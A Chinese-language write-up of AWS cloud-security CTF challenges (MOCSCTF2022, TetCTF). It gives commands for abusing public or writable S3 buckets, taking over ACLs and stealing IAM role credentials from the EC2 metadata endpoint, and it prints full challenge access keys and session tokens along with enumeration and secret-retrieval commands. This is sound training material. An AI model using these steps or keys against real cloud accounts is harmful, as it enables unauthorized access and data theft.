浅谈国外云安全类CTF challenge考点
字数 2005 2025-08-10 08:28:47

AWS云安全CTF挑战考点详解

背景介绍

AWS安全类CTF题目在国外比赛中较为常见,这类题目由于AWS使用场景广泛且可玩性高,主要考察参赛者对AWS云服务安全配置的理解和利用能力。在国内,这类题目的相关资料较少,本文整理了AWS安全CTF的常见考点和解题思路。

0x01 配置不当简析与总体思路

大多数CTF的攻击视角都是以云租户渗透为主,主要攻击方法包括:

  1. 基础配置不当
  2. S3权限配置问题
  3. 安全组配置不当
  4. IAM权限配置问题

核心攻击思路:寻找AccessKey(AK)。在AWS环境中,获取有效的AccessKey通常是突破的关键。

常见敏感信息位置

  • Git配置泄漏
  • 目录备份中的配置文件
  • 任意文件读取漏洞
  • APK文件中存放的AccessKey(通过逆向获取)

基本流程

  1. 阅读架构文档,找到配置文件位置
  2. 进行常规web测试
  3. 读取配置和敏感文件寻找AK
  4. 利用AK获取flag

0x02 S3权限配置

S3基础概念

S3(Simple Storage Service)是AWS提供的对象存储服务,以"桶"(bucket)的形式存储对象,对象中的数据即为文件。

信息发现方法

  1. 服务器暴露的相关信息
  2. 通过dig或nslookup寻找DNS解析记录
  3. 使用aws cli工具

常见利用场景

1. 公开可读的桶

aws s3 ls s3://bucketname --no-sign-request  # 列桶内容
aws s3 cp s3://bucketname/xxx.txt ./ --no-sign-request  # 下载文件

2. WRITE权限利用

当桶配置了写权限但未配置读权限时:

  • 无法读取他人上传的文件
  • 可以覆盖他人上传的文件(因为上传的对象属于上传者)
aws s3api put-object --bucket bucketname --key 1.txt --body 2.txt --no-sign-request

3. WRITE_ACP权限利用

WRITE_ACP权限允许用户修改ACL,可以将对象的FULL_CONTROL权限设置给自己:

# 查看规范ID
aws s3api list-buckets --profile A

# 修改对象ACL
aws s3api put-object-acl --bucket bucketname --key 1.txt --grant-full-control id=A_id --profile A

# 修改桶ACL
aws s3api put-bucket-acl --bucket bucketname --grant-full-control id=A_id

0x03 安全组权限配置

安全组在CTF中通常作为"组合拳"的一部分出现,关键点在于安全组的Outbound规则默认配置。

元数据服务利用

AWS EC2实例的元数据服务地址:169.254.169.254

通过访问该地址可以获取实例的元数据信息,包括:

  • 实例ID
  • 公网IP地址
  • 安全组信息
  • IAM角色信息
curl http://169.254.169.254/latest/meta-data/

0x04 IAM权限配置

IAM(Identity and Access Management)是AWS提供的免费权限控制服务,包含三个要素:

  1. 谁?(主体)
  2. 什么?(资源)
  3. 做什么?(操作)

IAM策略

IAM将上述三要素组织在一个JSON文件中,称为"策略"。常见的错误配置包括:

  • 过度授权
  • 权限继承不当
  • 权限边界设置错误

0x05 类型题展示(1)

MOCSCTF2022 - bucket list

题目描述

  • flag存储在S3桶中
  • 直接访问https://capture-the-flag-bucket.s3.ap-southeast-1.amazonaws.com/flag.txt不可行
  • 存在一个名为list-bucket-lambda的无服务器服务

解题步骤

  1. 通过API访问列桶函数:
    https://ywe7ydb0vi.execute-api.us-east-2.amazonaws.com/default/list-bucket-lambda?bucket=capture-the-flag-bucket&key=flag.txt
    
  2. 解密返回的base64编码内容获取flag

MOCSCTF2022 - iam who iam

题目描述

  • 提示关注IAM
  • 提供任意文件读取功能

解题步骤

  1. 读取元数据获取IAM角色信息:
    http://169.254.169.254/latest/meta-data/iam/security-credentials/
    
  2. 找到角色(如mocsctf-role)并读取其凭证:
    {
      "AccessKeyId": "ASIATY2C4XDIGMY5VM6H",
      "SecretAccessKey": "/gfcM8aSa3He0BacIqLZM6t61vn7vlukw3q0eN5x",
      "Token": "IQoJb3JpZ2luX2VjEOf/wEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgJD9/hLX+WiRsSw4GSxggEAGCM3fuUYX/rsWwSDtZJxMCIH9Te9kzPXummw6CqE9GXX6df+CmRalDUE1Vp/CY+9n7KtMFCJD/wEQABoMMjU5NDQ4OTQ0ODQ4Igw72Spv0ecnzYDsHNQqpwXiUXrRGT7sw2+niQPghBji3A9OmhWu/oLmCi4yvtb3vSQpG098a3pG1NcEXB3dw9abX4YaNOWVk/KrLjp8MYrPUso/ZXaydIKljU8E/Nd2fIMEM17BMerqwETXJhxuX0SkKpVYN3sVK475k+BpV7x3NY2t8P2ZvFteFAG1qGLl4gliXGNapTYsobGrL/pYretLNv3D3g2Vz+pkWGtd9giTLX1jY7V/gemTRPDHvZpJE57SYQYm7XjCEiPGGwAairScoLtFc950H9IebnayRUt3tRrNhFYu//0Mpy3oFnvG7thkQhWTHUw7B8QQlDWtrw99o7ER7L8hB8LWrP8TmLwfWP7UQ0nZgtDSiAlL9sJXil0WixaVNrvHc9OJVYoi6lK71mYMCKkbj6fzd6diuaqMlja/WKDPMzrLN+Kb8E+QMHMH+eHzfg1a6e9c1JHRlTH/xm5VbVO0kN2p3vuvAOQex3ZnVDVYVdoseS2mvXejXXRQdYFSdkoG9ND61yhvR1yJNwEG3ymxvB1DjrrWHcjA1PMNQCjlOLiMatToE2j29jLWYUnEs5Mg1bwOat/LUSUjGOxq0iFMmSINM2RjTFvpl6ZgokCtDjwNksTEkSb+X5JYl77Uu35jTL+xaWZzAdxETFl3wEHpyw0ZAVmWLOcZhrD8vn8NHzHsYhdO7qD9RdCX90bqETraqlXmVjDzpVqtR8DKFLCl6Tj4loNTl4rasE9qKvETmxwrWmTEaoM3Pjv5AjjqcODbYoWTf02AhxZjJe2WI9LZoDIE+IsjjYE48FrMviktZkx/bo0dNdHP0zReZzCoo02/I8XKpLsV5bNYhmcfe4HlxWnNYCyi5zSe6wgQHHCt5A0MOM6trNvV1QD5ixThULDx7BZi8RHL9RwvOgc1dhXbMIPM/Z8GOrIBX9WLgY/kQSBJGidRjZacPtVkiK4lLhH6KyoWc5YKvpunrWZ8TfB8H0gogKhdyTUxsyiHrAJgBN/vryVY5SBEQcje0ZmfYD7Mo/VmOvrS9WCxEmWukv/CFUfrlJ6J9JNZEiAcMDV4vf+icqlsRK4cOUWYHaJmzVaUi2NtaTJkN0OHSod0RkM2XpuUkRVnrF0Ljrio12Ks5enCmwAiJozjf2MnHJi+PFxf4P3/tPsEl/3oUA=="
    }
    
  3. 配置AWS CLI环境变量:
    export AWS_ACCESS_KEY_ID=ASIATY2C4XDIC7ILPUON
    export AWS_DEFAULT_REGION=ap-southeast-1
    export AWS_SECRET_ACCESS_KEY=MifuK0E3abqMcqIrqJh3g9oCDEK15gdfh0GIdAU7
    export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDwaDmFwLXNvdXRoZWFzdC0xIkcwRQIgUYR7ATZIbFbJBpy0YdGd0OYgP8sSSCiG8803lklvHMcCIQDdPfNwnYIQ+Io6FnrdGjR8+4X0VMo52lZR+KCQGByrxCrkBAil/8BEAAaDDI1OTQ0ODk0NDg0OCIM0NpgZjqxe/YMVh3AKrgEQGTzGKg03uUmrNq6xsY3jt9kLpBW5L2k1bUI9LF8DapUG5yEdlARyuIpref1it/8E+svPab3pbcBempMUGty+p4uxb+GUlRDoNd9m0/GXCbJihdX0G0MZ3wVIjPPmIgWhdq9bmqPMkvzxTBWY88uMnws2BgIQFFF6KfhbUllSO6dNEmkDeJ+isGSnKSmwirXtxbX6BUTBG7bhffnrswNW4I+3+vMky3eOBhJZz4W0SSzVHyBUWleDZEThQzVJpjB7QtJ3Bc/yRONuPvXeDZjM2BtrsJqcsneuMDNEKwBAu7QdMLA2bD42UtnyuMpqgs8k6JvwUDysD0bBMXndui2LQVChCnxMRzX7dXXe3MUPcfYrj4OIWQRWJpx3fz4ML2SwJJAJNNG/TyqExKNPOft5DBf8DKRyH1YoYYzl+U0pyVvf7PK17imMOTfoV0YIxWhGa2hXJvAzKQz0xoQMYyTP4yA6CsTZme3yRQliQkBuzQA8BgqlNc3L3OElG/9KuRm046mTIBg2Cl0Aab/V2rOCzdE+LYcFdDba/mrSd1ggCKnn65TIJQUXTdX7OB/8CLzpDDyICx3IhFArNBVI7AXdr8704l+7GFInkP2gbmUv2x6k43oc53x5KFgXQjtfw1c1eTkQfPQK/dqIOJVapiwT+YAmlhPoajeDqFs2vTfoqWX02b1ArkS42zYAplWWyvBwVWm7px7CDjVgVkorOAVqvQ6vKA9joD+XQAoKRHATmXAbM4v4BchTjD/mK+eBjqpAVB5QoSa43okkk5omA1Hk8yXTw6hnkk3e8QCchouAzIQS8Fa7QGtUyQy7d8xM9F6G8gheb+vuysn8BZXRfmp5Rmw6kuj8BiPH7qeUdP6tdQhyrtH3QclYNA4/zHdRzQVXL2s7K1AnRv4gBiiPocH86nsU1aUIA3NxiRLjcGGzVnUxjkbc6ic6ZGf0UtbLkEpHQWNBK1ZEM2i3vk4X3UxgLNl8yAOOWP5S44=
    
  4. 使用AWS CLI操作S3:
    aws s3 ls
    aws s3 ls s3://iam-ctf-bucket
    aws s3 cp s3://iam-ctf-bucket/secret.txt ./
    cat secret.txt
    
  5. 如果flag不在S3中,可以检查快照:
    aws ec2 describe-snapshots --region ap-southeast-1 --filters Name=description,Values=flag*
    

0x06 类型题展示(2)

TetCTF - Hello from API GW

题目描述

  • API Gateway端点:https://huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com/dev/vulnerable?vulnerable=aaa
  • 推测vulnerable参数对应一个Lambda函数

解题步骤

  1. 尝试读取环境变量process.env,发现是JS环境
  2. 获取到的标准AK无权限
  3. 发现环境变量中有:
    • ENV_ACCESS_KEY
    • ENV_SECRET_ACCESS_KEY
  4. 配置AWS CLI:
    aws sts get-caller-identity
    
  5. 使用枚举工具检查权限:
    python3 enumerate-iam.py --access-key AKIAX473H4JB76WRTYPI --secret-key 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 --region ap-southeast-2
    
  6. 发现secretsmanager.list_secrets()权限
  7. 列出并获取secret:
    aws secretsmanager list-secrets
    aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:ap-southeast-2:543303393859:secret:prod/TetCTF/Flag-gnvT27
    

0x07 总结

AWS云安全CTF主要考察以下方面:

  1. S3权限配置

    • 公开可读桶
    • WRITE权限利用
    • WRITE_ACP权限提升
  2. 安全组配置

    • 元数据服务利用(169.254.169.254)
    • 安全组规则滥用
  3. IAM权限配置

    • 过度授权
    • 权限提升
    • 凭证泄露
  4. Lambda与API Gateway

    • 环境变量泄露
    • 权限边界突破

补充学习资源

  • big-iam-challenge相关挑战
  • AWS官方安全文档
  • IAM策略最佳实践

掌握这些核心知识点,能够应对大多数AWS云安全CTF挑战。在实际比赛中,还需要结合具体题目灵活运用这些技术。

AWS云安全CTF挑战考点详解 背景介绍 AWS安全类CTF题目在国外比赛中较为常见,这类题目由于AWS使用场景广泛且可玩性高,主要考察参赛者对AWS云服务安全配置的理解和利用能力。在国内,这类题目的相关资料较少,本文整理了AWS安全CTF的常见考点和解题思路。 0x01 配置不当简析与总体思路 大多数CTF的攻击视角都是以云租户渗透为主,主要攻击方法包括: 基础配置不当 S3权限配置问题 安全组配置不当 IAM权限配置问题 核心攻击思路 :寻找AccessKey(AK)。在AWS环境中,获取有效的AccessKey通常是突破的关键。 常见敏感信息位置 Git配置泄漏 目录备份中的配置文件 任意文件读取漏洞 APK文件中存放的AccessKey(通过逆向获取) 基本流程 : 阅读架构文档,找到配置文件位置 进行常规web测试 读取配置和敏感文件寻找AK 利用AK获取flag 0x02 S3权限配置 S3基础概念 S3(Simple Storage Service)是AWS提供的对象存储服务,以"桶"(bucket)的形式存储对象,对象中的数据即为文件。 信息发现方法 服务器暴露的相关信息 通过dig或nslookup寻找DNS解析记录 使用aws cli工具 常见利用场景 1. 公开可读的桶 2. WRITE权限利用 当桶配置了写权限但未配置读权限时: 无法读取他人上传的文件 可以覆盖他人上传的文件(因为上传的对象属于上传者) 3. WRITE_ ACP权限利用 WRITE_ ACP权限允许用户修改ACL,可以将对象的FULL_ CONTROL权限设置给自己: 0x03 安全组权限配置 安全组在CTF中通常作为"组合拳"的一部分出现,关键点在于安全组的Outbound规则默认配置。 元数据服务利用 AWS EC2实例的元数据服务地址: 169.254.169.254 通过访问该地址可以获取实例的元数据信息,包括: 实例ID 公网IP地址 安全组信息 IAM角色信息 0x04 IAM权限配置 IAM(Identity and Access Management)是AWS提供的免费权限控制服务,包含三个要素: 谁?(主体) 什么?(资源) 做什么?(操作) IAM策略 IAM将上述三要素组织在一个JSON文件中,称为"策略"。常见的错误配置包括: 过度授权 权限继承不当 权限边界设置错误 0x05 类型题展示(1) MOCSCTF2022 - bucket list 题目描述 : flag存储在S3桶中 直接访问 https://capture-the-flag-bucket.s3.ap-southeast-1.amazonaws.com/flag.txt 不可行 存在一个名为 list-bucket-lambda 的无服务器服务 解题步骤 : 通过API访问列桶函数: 解密返回的base64编码内容获取flag MOCSCTF2022 - iam who iam 题目描述 : 提示关注IAM 提供任意文件读取功能 解题步骤 : 读取元数据获取IAM角色信息: 找到角色(如 mocsctf-role )并读取其凭证: 配置AWS CLI环境变量: 使用AWS CLI操作S3: 如果flag不在S3中,可以检查快照: 0x06 类型题展示(2) TetCTF - Hello from API GW 题目描述 : API Gateway端点: https://huk5xbypcc.execute-api.ap-southeast-2.amazonaws.com/dev/vulnerable?vulnerable=aaa 推测 vulnerable 参数对应一个Lambda函数 解题步骤 : 尝试读取环境变量 process.env ,发现是JS环境 获取到的标准AK无权限 发现环境变量中有: ENV_ACCESS_KEY ENV_SECRET_ACCESS_KEY 配置AWS CLI: 使用枚举工具检查权限: 发现 secretsmanager.list_secrets() 权限 列出并获取secret: 0x07 总结 AWS云安全CTF主要考察以下方面: S3权限配置 : 公开可读桶 WRITE权限利用 WRITE_ ACP权限提升 安全组配置 : 元数据服务利用(169.254.169.254) 安全组规则滥用 IAM权限配置 : 过度授权 权限提升 凭证泄露 Lambda与API Gateway : 环境变量泄露 权限边界突破 补充学习资源 : big-iam-challenge相关挑战 AWS官方安全文档 IAM策略最佳实践 掌握这些核心知识点,能够应对大多数AWS云安全CTF挑战。在实际比赛中,还需要结合具体题目灵活运用这些技术。